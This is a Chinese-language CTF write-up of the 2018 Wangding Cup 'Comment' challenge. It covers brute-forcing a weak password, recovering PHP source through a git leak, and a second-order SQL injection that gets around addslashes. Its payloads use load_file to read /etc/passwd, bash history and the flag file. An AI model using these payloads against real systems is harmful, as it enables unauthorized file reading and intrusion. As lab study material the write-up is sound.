[网鼎杯 2018]Comment

知识点

Sql注入
addslash函数的绕过

审题

发帖子之前要先登录 这个登录框应该是在暗示弱口令爆破 zhangwei***三位弱口令 爆破结果是zhangwei666 登录之后可以发帖子了 然后在帖子那边注了很久 都没有想法 就感觉引号斜杠这种特殊字符都给直接过滤了 后面瞄了一眼wp 又是git泄露 好家伙我得去装一下抓git的脚本了

审计

抓到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

好家伙addslashes都出来了 刚开始我看到源码的时候 我以为这玩意和escapeshellcmd一样 但是题目只对输入部分进行了转义过滤 没有对输出部分进行转义 那么就很容易造成二次注入漏洞

addslashes

这个函数会对输入进的引号斜杠%00进行转义 所以常规注入闭合引号是不行了 常规的注入是:输入注入语句巴拉巴拉 然后后面一个引号闭合 但是这个引号前面会加上一个斜杠 破坏恶意语句 有人说直接#注释(是我了) 直接#注释前面也得闭合引号呀 于是这题有个更牛逼的方法(参考dalao的wp dalaotql)

1
2
3
4
5
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这是原来的sql查询语句 然后我们如果这样插入恶意语句的话

1
2
3
4
5
$sql = "insert into comment
set category = '',content = 'user(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);

注意那两个/*是内敛注释 也就是括起来的部分 多行都可以注释 这样就执行了user()这个指令 这个content就是留言板的提交留言部分 category就是前面的 我们这样输入 看看回显

起飞了xdm

日题

我们可以用load_file这个命令来读文件 下面的payload都是category部分的 content部分都是*/#

1
',content=(select(load_file("/etc/passwd"))),/*

至于为什么查看这个文件就还没搞懂 还是看wp的
我们发现下面唯一值得注意的就是那个bash 不多解释是什么了 抓

1
',content=(select(load_file("/home/www/.bash_history"))),/*

看到.DS_store 直接抓会有些不可见字符 我们用hex编码一下

1
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

解码之后得到flag_8946e1ff1ee3e40f.php这个文件 看来是flag了 一般flag在根目录下 于是我们

1
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

拿到flag 不得不说 网鼎杯出的题目是真的好 质量也是真的很高

EOF